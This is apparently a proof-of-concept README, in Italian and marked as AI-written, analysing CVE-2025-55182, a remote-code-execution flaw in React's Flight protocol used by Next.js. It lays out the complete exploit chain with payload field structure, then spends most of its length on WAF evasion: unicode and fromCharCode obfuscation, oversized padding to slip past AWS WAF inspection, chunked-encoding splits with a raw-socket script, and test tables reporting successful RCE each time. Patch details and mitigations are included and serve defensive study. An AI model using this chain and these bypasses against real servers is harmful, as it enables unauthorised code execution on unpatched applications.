Analisi tecnica proof-of-concept e approfondimento di CVE-2025-55182, una vulnerabilità RCE critica nel Flight Protocol di React tramite path traversal, iniezione di chunk falsi e abuso del gestore $B.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 è una vulnerabilità RCE critica nel Flight Protocol di React. La catena di attacco combina path traversal + iniezione di chunk fittizi + abuso dell'handler $B per eseguire Function(attacker_code).
Un grande ringraziamento a maple3142 per la catena di sfruttamento funzionante!
L'exploit usa tre campi del form per costruire un payload malevolo:
then auto-referenziale (campo 1 $@0 → campo 0)_response fittizia con _formData.get impostato su $1:constructor:constructor$B che chiama response._formData.get(response._prefix + id)_formData.get → Function, eseguendo Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Componenti chiave
| Componente | Scopo |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable auto-referenziale; il chunk 1 (`$@0`) punta di nuovo al chunk 0 |
| `status: "resolved_model"` | Rende l'oggetto simile a un chunk React valido |
| `reason: -1` | Imposta rootReference su undefined (evita conflitti di riferimento) |
| `value: '{"then":"$B1337"}'` | Payload annidato che attiva il gestore `$B` |
| `_response._prefix` | Contiene la stringa di codice RCE |
| `_response._chunks: "$Q2"` | Map vuota per prevenire crash durante l'elaborazione dei chunk |
| `_response._formData.get` | Punta a `Function` tramite `$1:constructor:constructor` |
### Approfondimento sui componenti
#### Struttura dei campi del modulo
L'exploit utilizza tre campi del modulo con riferimenti circolari:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)Il then: "$1:__proto__:then" crea un auto-riferimento che risolve a una funzione reale:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Perché questo è fondamentale:**
1. `then` si risolve in `Chunk.prototype.then` - una funzione reale richiamabile
2. Questo rende il falso oggetto un thenable valido
3. Quando viene atteso, JS chiama `obj.then(resolve, reject)`
4. `Chunk.prototype.then` viene eseguito con il falso oggetto come `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) usa this._response - il falso _response dell'attaccante:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Senza l'autoriferimento**, il falso `_response` non verrebbe mai utilizzato. L'autoriferimento fa sì che `Chunk.prototype.then` tratti l'oggetto dell'attaccante come un vero Chunk.
#### Trigger Thenable a Due Stadi (`value`)
Il campo `value` contiene una stringa JSON annidata con un altro thenable:```json
{"then":"$B1337"}
Fase 1: Il then auto-referenziale dell'oggetto esterno attiva l'elaborazione dei chunk
Fase 2: Quando React risolve il modello, analizza value e incontra un altro oggetto thenable con then: "$B1337". Il prefisso $B attiva l'handler:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` è `"$1:constructor:constructor"` → `getOutlinedModel()` risolve in `Function`.
Questo diventa: `Function(code + "1337")` → JS valido perché `1337` è solo un'espressione finale.
#### Padding difensivo (`_chunks`)
Il falso `_response` necessita di una proprietà `_chunks` valida per evitare crash:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Il codice interno di React può accedere a response._chunks.get() o response._chunks.has() durante l'elaborazione. Una Map vuota soddisfa queste chiamate senza errori, consentendo all'esecuzione di raggiungere il gestore vulnerabile $B.
| Path | Funzione | Scopo nell'exploit |
|---|---|---|
| Path Traversal | getOutlinedModel() | Risolve $1:constructor:constructor → Function |
Iniezione di _response fittizio | initializeModelChunk() | Usa il chunk._response dell'attaccante |
Gestore $B | parseModelString() | Chiama _formData.get(_prefix + id) → RCE |
decodeReply() è il punto di ingresso, non è di per sé vulnerabile.
Path Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Uso della risposta fittizia** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## La correzione (19.2.1)
La patch include molteplici correzioni:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Correzione critica ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty in getOutlinedModel() - Blocca l'attraversamento del prototipo ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ in reviveModel() - Previene l'inquinamento del prototipo ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Valida i listener ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Capacità | Stato | Note |
|---|---|---|
| Attraversamento della catena dei prototipi | ✓ Confermato | Tramite $1:constructor:constructor |
| Accesso al costruttore Function | ✓ Confermato | Nessun manifest necessario |
| RCE completa | ✓ Confermato | Tramite fake chunk + handler $B |
Questa sezione spiega perché le tradizionali regole WAF basate sul pattern matching non possono rilevare in modo affidabile questo exploit. Comprendere questi limiti è essenziale per i team di sicurezza che valutano la propria postura difensiva.
Il payload dell'exploit attraversa più parser, ciascuno con un diverso supporto di codifica. Un WAF che ispeziona i byte HTTP grezzi vede stringhe codificate, ma il server le decodifica prima di elaborarle:
| Livello | Parser | Decodifica |
|---|---|---|
| Struttura JSON | JSON.parse() | escape unicode \uXXXX |
| Codice JavaScript | Costruttore Function() | \uXXXX, \xXX, ottale, fromCharCode() |
Questo crea una discrepanza fondamentale: il WAF vede byte codificati, ma l'applicazione vede stringhe decodificate.
Un WAF ingenuo potrebbe cercare pattern come constructor, __proto__, resolved_model o child_process. Tuttavia, JSON consente escape unicode per qualsiasi carattere:
| Pattern letterale | Equivalente Unicode | Rilevamento WAF |
|---|---|---|
constructor | \u0063onstructor | Eluso |
__proto__ | \u005f\u005fproto\u005f\u005f | Eluso |
resolved_model | \u0072esolved_model | Eluso |
$@ (riferimento circolare) | $\u0040 | Eluso |
Il codice JavaScript all'interno del payload ha ancora più opzioni di codifica:
| Pattern | Opzioni di codifica |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, codici numerici dei caratteri, base64 |
| Qualsiasi identificatore | Notazione a parentesi: this[S(112,114,...)] dove S=String.fromCharCode |
Quando tutte le tecniche di codifica vengono combinate:
\u0074\u0068\u0065\u006e per then)S(99,104,105,108,100,95,...) per child_process)Un WAF che analizza il corpo della richiesta HTTP vede solo sequenze di escape e numeri - nulla che corrisponda alle firme di attacco tradizionali.
L'intestazione Next-Action identifica le richieste Server Action. Sebbene i nomi delle intestazioni non possano essere codificati in unicode (la RFC 7230 richiede token ASCII), le differenze di normalizzazione tra WAF e server creano lacune di rilevamento:
| Variante | Comportamento del server | Rischio WAF |
|---|---|---|
next-action (minuscolo) | Accettata (HTTP è case-insensitive) | Non rilevata se il WAF prevede maiuscole/minuscole esatte |
Next-Action:\tx (tab) | Accettata (whitespace normalizzato) | Non rilevata se il WAF prevede uno spazio |
Next-Action: x (spazi) | Accettata | Non rilevata senza normalizzazione |
L'applicazione delle patch è l'unica mitigazione affidabile. Le regole WAF non possono bloccare in modo completo questo attacco a causa della flessibilità di codifica.
Versioni richieste:
Se l'applicazione delle patch viene ritardata, prendere in considerazione:
\uXXXX, \xXX e normalizzare le chiamate fromCharCode() prima del pattern matching_response, _prefix, _chunks o riferimenti circolari ($@0)next-action senza distinzione tra maiuscole e minuscole e con trim degli spaziNext-ActionFunction() con argomenti stringa dinamiciConcetto chiave: Il solo pattern matching fallirà contro questa classe di attacchi. La superficie di codifica è troppo ampia per essere enumerata.
Anche con regole WAF complete, AWS WAF ha limiti di dimensione per l'ispezione del body che possono essere sfruttati. Questa sezione documenta tecniche di bypass testate utilizzando payload sovradimensionati.
AWS WAF ispeziona solo una parte del corpo della richiesta:
| Backend | Limite predefinito | Massimo configurabile |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandlingLe regole WAF specificano come gestire le richieste che superano i limiti di ispezione:
| Impostazione | Comportamento | Sfruttabile? |
|---|---|---|
CONTINUE | Ispeziona i byte disponibili, valuta la regola | Sì - il payload oltre il limite non viene ispezionato |
MATCH | Tratta come corrispondenza (blocca) | No - blocca le richieste sovradimensionate |
NO_MATCH | Tratta come non corrispondenza | Sì - passa attraverso |
Se la tua regola WAF usa OversizeHandling: CONTINUE (predefinito comune), il bypass è banale.
Inserisci dati di riempimento innocui prima del payload exploit in modo che ricada al di fuori della finestra di ispezione:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Risultati dei test
Tutti i payload sovradimensionati hanno ottenuto con successo RCE su Next.js:
| Dimensione padding | Corpo totale | Offset exploit | Risultato |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### Bypass del chunked transfer encoding
Il chunked transfer encoding di HTTP/1.1 suddivide il corpo in chunk distinti. Se il WAF ispeziona i chunk **prima** del riassemblaggio, i pattern che attraversano i confini dei chunk non corrisponderanno.
#### Come funziona```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Pattern suddiviso tra i blocchi:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Strategie di Chunking Testate
| Strategia | Descrizione | Risultato |
|----------|-------------|--------|
| Split su `$@` | `"$` \| `@0"` | ✅ RCE |
| Frammenti da 10 byte | Corpo diviso ogni 10 byte | ✅ RCE |
| Frammenti da 5 byte | Corpo diviso ogni 5 byte | ✅ RCE |
| Split su `status` | `sta` \| `tus` | ✅ RCE |
Tutte le strategie hanno raggiunto con successo la RCE - Next.js riassembla correttamente le richieste chunked.
#### Esempio di Raw Socket```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| Tipo di WAF | Gestione dei chunk | Bypass possibile? |
|---|---|---|
| AWS WAF (ALB) | Riassembla prima dell'ispezione | Improbabile |
| AWS WAF (CloudFront) | Riassembla prima dell'ispezione | Improbabile |
| Alcuni WAF legacy | Ispeziona per chunk | Sì |
| Nginx ModSecurity | Configurabile | Dipende dalla configurazione |
Nota: AWS WAF in genere riassembla i body chunked prima dell'ispezione. Tuttavia, questo dovrebbe essere verificato per ambiente poiché le configurazioni variano.
OversizeHandling to MATCH ```json
"OversizeHandling": "MATCH"
Questo blocca qualsiasi richiesta che supera il limite di ispezione quando le condizioni della regola sono soddisfatte.
Aumenta il limite di ispezione del corpo (solo CloudFront/API Gateway) Configura fino a 64KB nelle impostazioni della web ACL, ma questo non previene completamente il bypass.
Aggiungi una regola di blocco basata sulla dimensione
Blocca le richieste POST con header Next-Action che superano una dimensione ragionevole (es., 10KB).
Applica una patch all'applicazione - L'unica soluzione completa.
Vedi gli script di test inclusi:
test-simple.cjs - Test di base del payload non-chunkedtest-oversize.cjs - Testa dimensioni di padding da 0 a 128KBtest-chunked-v2.cjs - Codifica di trasferimento chunked con divisione $@test-chunked-bypass.cjs - Molteplici strategie di chunking (5-byte, 10-byte, divisioni di pattern)Utilizzo:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## Percorso di Ricerca
### La Vulnerabilità: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
Con payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Sebbene abbiamo ottenuto Function, ottenere RCE richiede di chiamarla con argomenti controllati. Questi percorsi hanno fallito:
1. Percorso Thenable (Bloccato)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. Percorso decodeAction (Bloccato)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Percorso dell'iteratore (Bloccato)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### La svolta
maple3142 ha trovato il pezzo mancante: il gestore `$B` + la catena del finto `_response`. Facendo risolvere `then` in `Chunk.prototype.then` tramite auto-riferimento, il finto `_response` viene utilizzato, consentendo l'RCE.
---
## Risultati principali
1. **La vulnerabilità di `getOutlinedModel()` è reale** - I percorsi separati da due punti consentono l'attraversamento della catena dei prototipi
2. **Il costruttore Function è accessibile** - `$1:constructor:constructor` funziona senza serverManifest
3. **L'RCE è realizzabile** - Creando un chunk falso con `_response` controllato:
- L'auto-riferimento `$1:__proto__:then` → `Chunk.prototype.then` fa sì che il finto `_response` venga utilizzato
- La struttura del chunk falso imita la classe Chunk interna di React
- `_response._formData.get` → costruttore `Function`
- `_response._prefix` → stringa di codice malevolo
- Il gestore `$B` attiva `Function(malicious_code)`
4. **La correzione è completa** - Molteplici controlli `hasOwnProperty` e validazioni di tipo
---
## Riferimenti
- [Gist di maple3142](https://gist.github.com/maple3142) - Scoperta della catena RCE
- [Avviso di sicurezza React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [PoC di msanft](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [Regola AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Avvertenza
Questo repository è esclusivamente a scopo di **ricerca educativa e difensiva sulla sicurezza**. La vulnerabilità è stata corretta. Aggiorna subito le tue dipendenze.